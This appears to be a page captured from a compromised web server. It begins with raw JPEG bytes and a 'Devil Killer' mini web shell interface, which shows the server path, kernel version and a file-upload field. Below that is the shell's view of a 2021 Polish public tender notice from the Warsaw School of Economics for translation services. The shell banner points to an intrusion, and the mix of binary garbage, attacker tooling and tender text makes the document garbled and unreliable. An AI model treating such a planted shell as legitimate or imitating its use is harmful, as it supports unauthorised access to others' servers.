JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20210422/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20210422/0003830201-N-2021.html

<header hidden><table style="border-bottom: 1px solid black; width:100%"><tr><td>Ogłoszenie nr 2021/BZP 00038302 z dnia 2021-04-22</td></tr></table></header><main><!-- Version 1.0.0 --><style type="text/css"> .normal { color: black; } h1.title { }</style> <h1 class="text-center mt-5 mb-5">Ogłoszenie o zamówieniu<br/> Usługi<br/> Umowa ramowa na usługi tłumaczeń pisemnych z języka polskiego na języki obce oraz z języków obcych na język polski na potrzeby Szkoły Głównej Handlowej w Warszawie </h1> <h2 class="bg-light p-3 mt-4">SEKCJA I - ZAMAWIAJĄCY</h2> <h3 class="mb-0">1.1.) Rola zamawiającego</h3> <p class="mb-0">Postępowanie prowadzone jest samodzielnie przez zamawiającego</p> <h3 class="mb-0">1.2.) Nazwa zamawiającego: <span class="normal">Szkoła Główna Handlowa w Warszawie</span></h3> <h3 class="mb-0">1.4) Krajowy Numer Identyfikacyjny: <span class="normal">REGON 000001502</span></h3><h3 class="mb-0">1.5) Adres zamawiającego </h3> <h3 class="mb-0">1.5.1.) Ulica: <span class="normal">al. Niepodległości 162</span></h3> <h3 class="mb-0">1.5.2.) Miejscowość: <span class="normal">Warszawa</span></h3> <h3 class="mb-0">1.5.3.) Kod pocztowy: <span class="normal">02-554</span></h3> <h3 class="mb-0">1.5.4.) Województwo: <span class="normal">mazowieckie</span></h3> <h3 class="mb-0">1.5.5.) Kraj: <span class="normal">Polska</span></h3> <h3 class="mb-0">1.5.6.) Lokalizacja NUTS 3: <span class="normal">PL911 - Miasto Warszawa</span></h3> <h3 class="mb-0">1.5.9.) Adres poczty elektronicznej: <span class="normal">dzp@sgh.waw.pl</span></h3> <h3 class="mb-0">1.5.10.) Adres strony internetowej zamawiającego: <span class="normal">sgh.waw.pl</span></h3> <h3 class="mb-0"> 1.6.) Rodzaj zamawiającego: <span class="normal">Zamawiający publiczny - jednostka sektora finansów publicznych - uczelnia publiczna</span> </h3> <h3 class="mb-0"> 1.7.) Przedmiot działalności zamawiającego: <span class="normal">Edukacja</span> </h3> <h2 class="bg-light p-3 mt-4">SEKCJA II – INFORMACJE PODSTAWOWE</h2> <h3 class="mb-0">2.1.) Ogłoszenie dotyczy: </h3> <p class="mb-0"> Zamówienia publicznego </p> <h3 class="mb-0">2.2.) Ogłoszenie dotyczy usług społecznych i innych szczególnych usług: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.3.) Nazwa zamówienia albo umowy ramowej: </h3> <p class="mb-0"> Umowa ramowa na usługi tłumaczeń pisemnych z języka polskiego na języki obce oraz z języków obcych na język polski na potrzeby Szkoły Głównej Handlowej w Warszawie </p> <h3 class="mb-0">2.4.) Identyfikator postępowania: <span class="normal">ocds-148610-a43aee96-a29e-11eb-911f-9ad5f74c2a25</span></h3> <h3 class="mb-0">2.5.) Numer ogłoszenia: <span class="normal">2021/BZP 00038302</span></h3> <h3 class="mb-0">2.6.) Wersja ogłoszenia: <span class="normal">01</span></h3> <h3 class="mb-0">2.7.) Data ogłoszenia: <span class="normal">2021-04-22</span></h3> <h3 class="mb-0">2.8.) Zamówienie albo umowa ramowa zostały ujęte w planie postępowań: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.11.) O udzielenie zamówienia mogą ubiegać się wyłącznie wykonawcy, o których mowa w art. 94 ustawy: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.14.) Czy zamówienie albo umowa ramowa dotyczy projektu lub programu współfinansowanego ze środków Unii Europejskiej: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.16.) Tryb udzielenia zamówienia wraz z podstawą prawną</h3> <p class="mb-0"> Zamówienie udzielane jest w trybie podstawowym na podstawie: art. 275 pkt 1 ustawy </p> <h2 class="bg-light p-3 mt-4">SEKCJA III – UDOSTĘPNIANIE DOKUMENTÓW ZAMÓWIENIA I KOMUNIKACJA</h2> <h3 class="mb-0">3.1.) Adres strony internetowej prowadzonego postępowania</h3> https://sgh.eb2b.com.pl <h3 class="mb-0">3.2.) Zamawiający zastrzega dostęp do dokumentów zamówienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.4.) Wykonawcy zobowiązani są do składania ofert, wniosków o dopuszczenie do udziału w postępowaniu, oświadczeń oraz innych dokumentów wyłącznie przy użyciu środków komunikacji elektronicznej: <span class="normal">Tak</span></h3> <h3 class="mb-0">3.5.) Informacje o środkach komunikacji elektronicznej, przy użyciu których zamawiający będzie komunikował się z wykonawcami - adres strony internetowej: <span class="normal">https://sgh.eb2b.com.pl</span></h3> <h3 class="mb-0">3.6.) Wymagania techniczne i organizacyjne dotyczące korespondencji elektronicznej: <span class="normal">1. Postępowanie prowadzone jest w języku polskim w formie elektronicznej za pośrednictwem Platformy Zakupowej (dalej jako „Platforma” lub „Platforma Zakupowa”) dostępnej pod adresem:https://sgh.eb2b.com.pl.2. W postępowaniu o udzielenie zamówienia komunikacja międzyZamawiającym a wykonawcami, w tym wszelkie wnioski, zawiadomienia, informacje, oraz pozostałe dokumenty i oświadczenia, w tym dokumenty i oświadczenia składane na wezwanie Zamawiającego, przekazywane są w formie elektronicznej za pośrednictwem elektronicznej Platformy Zakupowej dostępnej pod adresem: https://sgh.eb2b.com.pl poprzez zakładkę „Pytania / Informacje”. Za datę wpływu wniosków, zawiadomień oraz informacji przyjmuje się datę ich wczytania do Platformy.3. Osobą uprawnioną przez Zamawiającego do kontaktu z wykonawcami jest: Agnieszka Cichocka-Marston lub osoba zastępująca.4. Wykonawca przystępując do postępowaniu o udzieleniezamówienia publicznego, tj. bezpłatnie rejestrując się lub logując, w przypadku posiadania konta w Platformie Zakupowej, akceptuje warunki korzystania z Platformy, określone w Regulaminie zamieszczonym na stronie internetowej https://sgh.eb2b.com.pl/ oraz uznaje go za wiążący.5. Zamawiający, zgodnie z § 2 Rozporządzenia Prezesa Rady Ministrów z dnia 30 grudnia 2020 r. w sprawie sposobu sporządzania i przekazywania informacji oraz wymagań technicznych dladokumentów elektronicznych oraz środków komunikacji elektronicznej w postępowaniu o udzielenie zamówienia publicznego lub konkursie (Dz. U. z 2020 r. poz. 2452; dalej jako „Rozporządzenie”)określa dopuszczalny format kwalifikowanego podpisu elektronicznego jako: 1) dokumenty w formacie „pdf” należy podpisywać formatem PAdES; 2) Zamawiający dopuszcza podpisanie dokumentów w formacie innym niż „pdf”, wtedy należy użyć formatu XAdES. 6. Zamawiający, zgodnie z § 11 ust. 2 Rozporządzenia, określa niezbędne wymagania sprzętowo - aplikacyjne umożliwiające pracę naPlatformie Zakupowej tj.: 1) stały dostęp do sieci Internet o gwarantowanej przepustowości niemniejszej niż 4mb/s,2) komputer klasy PC lub MAC, o następującej konfiguracji: pamięć min 4GB Ram, procesor Intel IV 2GHZ, jeden z systemów operacyjnych - MS Windows 7, Mac Os x 10.4, Linux,lub ich nowsze wersje,3) zainstalowana dowolna przeglądarka internetowa; w przypadku Internet Explorer minimalnie wersja 11.0,4) włączona obsługa JavaScript, 5) zainstalowany program do otwierania plików w formacie PDF, np. Acrobat Reader. 7. Zamawiający, zgodnie z § 11 ust. 2Rozporządzenia, określa dopuszczalne formaty przesyłanych danych tj. plików o wielkości do 50 MB w formatach: .pdf. 8. Zamawiający, zgodnie z § 11 ust. 2 Rozporządzenia, określa informacje na temat kodowania i czasu odbioru danych tj.:1) plik załączony przez wykonawcę na Platformie i zapisany, nie jest widoczny dla Zamawiającego oraz właściciela Platformy, gdyż istnieje w systemie jako zaszyfrowany. Możliwość otworzenia pliku dostępne jest dopiero po odszyfrowaniu przez Zamawiającego po upływie terminu składania ofert,2) oznaczenie czasu odbioru danych przez Platformę stanowi przypiętą do dokumentu elektronicznego datę oraz dokładny czas (hh:mm:ss),znajdującą się po lewej stronie dokumentu w kolumnie „Data przesłania”. 9. Wykonawca może zwrócić się do Zamawiającego o wyjaśnienie treści SWZ. Wniosek należy przesłać za pośrednictwem Platformy w zakładce „Pytania/ Informacje” poprzez polecenie „Dodaj pytanie / komentarz”. Wyjaśnianie treści SWZ oraz jej ewentualna zmiana odbywać się będą zgodnie z art. 284 Ustawy.10. Zamawiający nie przewiduje zwrotu kosztów udziału w postępowaniu, w tym zwrotu kosztów poniesionych z tytułunabycia kwalifikowanego podpisu elektronicznego.11. Korzystanie z Platformy przez wykonawcę jest bezpłatne. 12. Z uwagi na ograniczoną liczbę znaków szczegółowe informacje zawarte zostały w rozdziale IX Specyfikacji Warunków Zamówienia.</span></h3> <h3 class="mb-0">3.8.) Zamawiający wymaga sporządzenia i przedstawienia ofert przy użyciu narzędzi elektronicznego modelowania danych budowlanych lub innych podobnych narzędzi, które nie są ogólnie dostępne: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.12.) Oferta - katalog elektroniczny: <span class="normal">Nie dotyczy</span></h3> <h3 class="mb-0">3.14.) Języki, w jakich mogą być sporządzane dokumenty składane w postępowaniu: </h3> <p class="mb-0">polski</p> <h2 class="bg-light p-3 mt-4">SEKCJA IV – PRZEDMIOT ZAMÓWIENIA</h2> <h3 class="mb-0">4.1.1.) Przed wszczęciem postępowania przeprowadzono konsultacje rynkowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.2.) Numer referencyjny: <span class="normal">ADZP.25.4.2021</span></h3> <h3 class="mb-0">4.1.3.) Rodzaj zamówienia: <span class="normal">Usługi</span></h3> <h3 class="mb-0">4.1.4.) Zamawiający udziela zamówienia w częściach, z których każda stanowi przedmiot odrębnego postępowania: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.8.) Możliwe jest składanie ofert częściowych: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.13.) Zamawiający uwzględnia aspekty społeczne, środowiskowe lub etykiety w opisie przedmiotu zamówienia: <span class="normal">Nie</span></h3><h3 class="mb-0">4.2. Informacje szczegółowe odnoszące się do przedmiotu zamówienia:</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> 1.	Przedmiotem zamówienia jest zawarcie umowy ramowej na usługę tłumaczeń pisemnych z języka polskiego na języki obce oraz z języków obcych na język polski na potrzeby Szkoły Głównej Handlowej w Warszawie zgodnie z Opisem Przedmiotu Zamówienia stanowiącym Załącznik nr 8 do SWZ (dalej „OPZ”). 2.	Szczegółowy zakres, warunki i sposób realizacji przedmiotu zamówienia określone zostały we wzorze umowy ramowej (dalej „wzór umowy”), stanowiącym Załącznik nr 10 do SWZ oraz w OPZ. 3.	W wyniku niniejszego postępowania zostanie zawarta umowa ramowa z jednym wykonawcą na podstawie art. 313 Ustawy. 4.	W czasie trwania umowy ramowej Zamawiający będzie udzielał zamówień w formie zleceń, na warunkach określonych w umowie ramowej zgodnie z art. 313 Ustawy. 5.	Zamawiający zastrzega, że nie gwarantuje zlecenia zamówień na usługi objęte umową ramową na kwotę maksymalnego wynagrodzenia wskazanego w umowie ramowej i z tego tytułu nie przysługuje wykonawcy żadne roszczenie. 6.	Uwaga: przewidywane ilości stron przeliczeniowych poszczególnych rodzajów tłumaczeń podane w opisie przedmiotu zamówienia oraz formularzu cenowym stanowią wielkość szacunkową i zostały podane na potrzeby oceny ofert. Cena oferty podana w formularzu ofertowym, który stanowi załącznik nr 1 do SWZ, służy wyłącznie do porównania ofert. Umowa ramowa zawarta zostanie do wysokości środków podanych przez Zamawiającego w sposób, o którym mowa w art. 222 ust. 4 ustawy PZP. 7.	Zamawiający przewiduje możliwość dokonywania zmian ilości stron przeliczeniowych poszczególnych rodzajów tłumaczeń wskazanych w opisie przedmiotu zamówienia (oznacza to możliwość zlecenia zwiększonych ilości stron poszczególnych rodzajów tłumaczeń kosztem zmniejszenia ilości lub niezamówienia innych). Zmiany te nie mogą powodować zmian cen jednostkowych zawartych w formularzu cenowym. 8.	Przewidywane liczby stron określone w formularzu cenowym stanowiącym Załącznik nr 2 do SWZ, są ilościami szacunkowymi, służącymi jedynie do porównania ofert i nie stanowią zobowiązania dla Zamawiającego do ich zakupu. 9. Zamawiający nie zastrzega obowiązku osobistego wykonania przez wykonawcę kluczowych zadań na podstawie art. 60 Ustawy. 10. Zamawiający dopuszcza możliwość powierzenia realizacji przedmiotu zamówienia podwykonawcom. W takim przypadku wykonawca odpowiada za ich działania lub zaniechania jak za swoje własne. Powierzenie wykonania części zamówienia podwykonawcom nie zwalnia wykonawcy z odpowiedzialności za należyte wykonanie tego zamówienia. 11. W przypadku powierzenia wykonania części zamówienia podwykonawcom Zamawiający żąda wskazania przez wykonawcę w formularzu ofertowym - Załączniku nr 1 do SWZ, części zamówienia których wykonanie zamierza powierzyć podwykonawcom i podać firmy podwykonawców, o ile są już znane. Brak wskazania przez wykonawcę powyższej informacji spowoduje, że Zamawiający przyjmie, że wykonawca siłami własnymi będzie realizował zamówienie. 12. Zamawiający nie dokonuje podziału zamówienia na części. Tym samym Zamawiający nie dopuszcza składania ofert częściowych, o których mowa w art. 7 pkt 15 Ustawy.Powody niedokonania podziału:Zamówienie jest dostosowane do realizacji przez małych i średnich przedsiębiorców, brak jest podstaw do podziału na części ze względów technicznych, organizacyjnych oraz ekonomicznych. Sposób realizacji zamówienia i jego charakter wymaga bowiem realizacji przez jednego wykonawcę. Rozproszenie podmiotów w przypadku przedmiotowego zamówienia jest niemożliwe z uwagi na konieczność zachowania spójności w wykonaniu poszczególnych tłumaczeń, również tłumaczeń w różnych językach. W związku, z tym koordynacja działań różnych wykonawców mogłaby poważnie zagrozić wykonaniu zamówienia na właściwym poziomie jakości. 13. Zamawiający działając na podstawie art. 214 ust. 7 w związku z art. 305 pkt 1) Ustawy przewiduje udzielenie w okresie 3 lat od udzielenia zamówienia podstawowego dotychczasowemu wykonawcy, zamówienia polegającego na powtórzeniu podobnych tłumaczeń. Wartość zamówienia na dodatkowe tłumaczenia nie przekroczy 50% kwoty, o której mowa w § 7 ust. 2 umowy ramowej. 14. Zamawiający nie zastrzega możliwości ubiegania się o udzielenie zamówienia wyłącznie przez wykonawców, o których mowa w art. 94 Ustawy. 15. Zamawiający nie przewiduje rozliczenia w walutach obcych. 16. Zamawiający stawia wymóg w zakresie zatrudnienia przez wykonawcę lub podwykonawcę na podstawie stosunku pracy osób wykonujących czynności administracyjne przy obsłudze umowy, wykonywanie tych czynności uzasadnia bowiem wykonywanie pracy w sposób określony w art. 22 § 1 ustawy z dnia 26 czerwca 1974 roku – Kodeks pracy. Sposób dokumentowania zatrudnienia tych osób i uprawnienia Zamawiającego w zakresie kontroli spełniania przez wykonawcę wymagań, o których mowa w art. 95 Ustawy oraz sankcji z tytułu ich niespełnienia zostały określone we wzorze umowy ramowej (Załącznik nr 10 do SWZ). </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <!-- realizacja w dniach --> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">12 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.2.14.) Przedmiot, wielkość lub zakres oraz warunki zamówień na podobne usługi lub roboty budowlane: <span class="normal">Zamawiający działając na podstawie art. 214 ust. 7 w związku z art. 305 pkt 1) Ustawy przewiduje udzielenie w okresie 3 lat od udzielenia zamówienia podstawowego dotychczasowemu wykonawcy, zamówienia polegającego na powtórzeniu podobnych tłumaczeń. Wartość zamówienia na dodatkowe tłumaczenia nie przekroczy 50% kwoty, o której mowa w § 7 ust. 2 umowy ramowej.</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert</h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">1.	Przy wyborze najkorzystniejszej oferty zamawiający będzie kierował się następującymi kryteriami i odpowiadającymi im znaczeniami oraz w następujący sposób będzie oceniał spełnienie kryteriów:1) Cena (C)	40%2) Jakość wykonania (J)	60%2. Z uwagi na ograniczoną liczbę znaków szczegółowe informacje dotyczące sposobu oceny ofert zawarte zostały w rozdziale XVII Specyfikacji Warunków Zamówienia.</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal"> Procentowo </span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: </h3> jakość, w tym do parametry techniczne, właściwości estetyczne i funkcjonalne takie jak dostępność dla osób niepełnosprawnych lub uwzględnianie potrzeb użytkowników <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Jakość wykonania</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA V - KWALIFIKACJA WYKONAWCÓW</h2> <h3 class="mb-0">5.1.) Zamawiający przewiduje fakultatywne podstawy wykluczenia: <span class="normal">Tak</span></h3> <h3 class="mb-0">5.2.) Fakultatywne podstawy wykluczenia: </h3> <p class="mb-0">Art. 109 ust. 1 pkt 4</p> <p class="mb-0">Art. 109 ust. 1 pkt 5</p> <p class="mb-0">Art. 109 ust. 1 pkt 7</p> <p class="mb-0">Art. 109 ust. 1 pkt 8</p> <p class="mb-0">Art. 109 ust. 1 pkt 9</p> <p class="mb-0">Art. 109 ust. 1 pkt 10</p> <h3 class="mb-0">5.3.) Warunki udziału w postępowaniu: <span class="normal">Tak</span></h3> <h3 class="mb-0">5.4.) Nazwa i opis warunków udziału w postępowaniu.</h3> 1. O zamówienie mogą ubiegać się wykonawcy, którzy spełniają warunki udziału w postępowaniu dotyczące zdolności technicznej lub zawodowej.Zamawiający uzna powyższy warunek za spełniony, jeżeli wykonawca wykaże, że: a)	w okresie ostatnich 3 (trzech) lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wykonał należycie, a w przypadku świadczeń okresowych lub ciągłych również wykonuje, co najmniej 2 usługi (rozumiane jako dwie odrębne umowy/zamówienia) polegające na tłumaczeniu pisemnym z języka polskiego na języki obce oraz odwrotnie – z języków obcych na język polski, każda o wartości co najmniej 200 000 zł brutto (słownie: dwieście tysięcy złotych). Usługa musi trwać nieprzerwanie przez okres co najmniej 6 miesięcy oraz obejmować tłumaczenia co najmniej z i na język angielski oraz jeden z pozostałych języków wskazanych w opisie przedmiotu zamówienia.b)	skieruje do realizacji zamówienia co najmniej 8 różnych osób świadczących usługi dotyczące tłumaczeń pisemnych z języka polskiego na język angielski i odwrotnie, tj.: co najmniej:	3 osoby specjalizujące się w tłumaczeniu z dziedziny prawa i administracji w tym 2 tłumaczy i 1 weryfikatora,	3 osoby specjalizujące się w tłumaczeniu z dziedziny ekonomii, finansów i zarządzania w tym 2 tłumaczy i 1 weryfikatora,	1 tłumacza specjalizującego się w tłumaczeniach przysięgłych, wpisanego na listę tłumaczy przysięgłych Ministerstwa Sprawiedliwości,	1 native speakera języka angielskiegoz których każdy posiada co najmniej 5 letnie doświadczenie jako tłumacz języka angielskiego oraz w okresie ostatnich 12 miesięcy przed terminem składania ofert wykonał co najmniej 5 usług, z których każda polegała na przetłumaczeniu na lub z języka angielskiego, a w przypadku native speakera dokonania weryfikacji językowej tekstu anglojęzycznego, o objętości co najmniej 15 stron przeliczeniowych w dziedzinie przypisanej danemu tłumaczowi.W tym co najmniej 2 tłumaczy wskazanych powyżej (1 specjalizujący się w tłumaczeniu z dziedziny prawa i administracji i 1 w tłumaczeniu z dziedziny ekonomii, finansów i zarządzania), którzy w okresie ostatnich 12 miesięcy przed terminem składania ofert wykonali co najmniej 5 usług polegających na korekcie językowej tekstu anglojęzycznego o objętości co najmniej 15 stron przeliczeniowych.Za przeliczeniową stronę tłumaczenia przyjmuje się 1800 znaków wraz ze spacjami (dla tłumaczenia przysięgłego – 1125 znaków wraz ze spacjami).Zamawiający nie dopuszcza łączenia specjalizacji przez tą samą osobę.2.	Wykonawcy wspólnie ubiegający się o zamówienie łącznie muszą posiadać doświadczenie wskazane powyżej w ust. 1 <h3 class="mb-0">5.5.) Zamawiający wymaga złożenia oświadczenia, o którym mowa w art.125 ust. 1 ustawy: <span class="normal">Tak</span></h3> <h3 class="mb-0"> 5.6.) Wykaz podmiotowych środków dowodowych na potwierdzenie niepodlegania wykluczeniu: <span class="normal">1. Wykonawca na wezwanie Zamawiającego winien złożyć za pośrednictwem Platformy poprzez zakładkę „Pytania/Informacje” następujące dokumenty w celu potwierdzenia braku podstaw wykluczenia:a) oświadczenie, w zakresie art. 108 ust. 1 pkt 5 Ustawy, o braku przynależności do tej samej grupy kapitałowej w rozumieniu ustawy z dnia 16 lutego 2007 r. o ochronie konkurencji i konsumentów (Dz. U. z 2020 r. poz. 1076 i 1086), z innym wykonawcą, który złożył odrębną ofertę, albo oświadczenie o przynależności do tej samej grupy kapitałowej wraz z dokumentami lub informacjami potwierdzającymi przygotowanie oferty niezależnie od innego wykonawcy należącego do tej samej grupy kapitałowej – Załącznik nr 4 do SWZ,b)	odpis lub informacja z Krajowego Rejestru Sądowego lub z Centralnej Ewidencji i Informacji o Działalności Gospodarczej, sporządzonych nie wcześniej niż 3 miesiące przed złożeniem, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji – w celu potwierdzenia braku podstaw wykluczenia na podstawie art. 109 ust. 1 pkt 4 Ustawy*,* wskazany termin 3 miesięcy określony został w § 2 ust. 1 pkt 6 Rozporządzenia Ministra Rozwoju, Pracy i Technologii z dnia 23 grudnia 2020 r. w sprawie podmiotowych środków dowodowych oraz innych dokumentów lub oświadczeń, jakich może żądać zamawiający od wykonawcyc)	oświadczenie wykonawcy o aktualności informacji zawartych w oświadczeniu, o którym mowa w art. 125 ust. 1 , w zakresie podstaw wykluczenia z postępowania wskazanych przez Zamawiającego, o których mowa w art. 108 ust. 1 pkt 3-6 Ustawy oraz art. 109 ust. 1 pkt 5), 7) -10) Ustawy.</span> </h3> <h3 class="mb-0"> 5.7.) Wykaz podmiotowych środków dowodowych na potwierdzenie spełniania warunków udziału w postępowaniu: <span class="normal">1. Wykonawca na wezwanie Zamawiającego winien złożyć za pośrednictwem Platformy poprzez zakładkę „Pytania/Informacje” następujące dokumenty w celu potwierdzenia spełniania warunków udziału w postępowaniu: a)	wykaz usług wykonanych, a w przypadku świadczeń powtarzających się lub ciągłych również wykonywanych, w okresie ostatnich 3 lat, a jeżeli okres prowadzenia działalności jest krótszy – w tym okresie, wraz z podaniem ich wartości, przedmiotu, dat wykonania i podmiotów, na rzecz których usługi zostały wykonane lub są wykonywane, oraz załączeniem dowodów określających, czy te usługi zostały wykonane lub są wykonywane należycie, przy czym dowodami, o których mowa, są referencje bądź inne dokumenty sporządzone przez podmiot, na rzecz którego usługi zostały wykonane, a w przypadku świadczeń powtarzających się lub ciągłych są wykonywane, a jeżeli wykonawca z przyczyn niezależnych od niego nie jest w stanie uzyskać tych dokumentów – oświadczenie wykonawcy; w przypadku świadczeń powtarzających się lub ciągłych nadal wykonywanych referencje bądź inne dokumenty potwierdzające ich należyte wykonywanie powinny być wystawione w okresie ostatnich 3 miesięcy - załącznik nr 6 do SWZ,b)	wykazu osób, skierowanych przez wykonawcę do realizacji zamówienia publicznego, odpowiedzialnych za świadczenie usług, wraz z informacjami na temat ich kwalifikacji zawodowych, 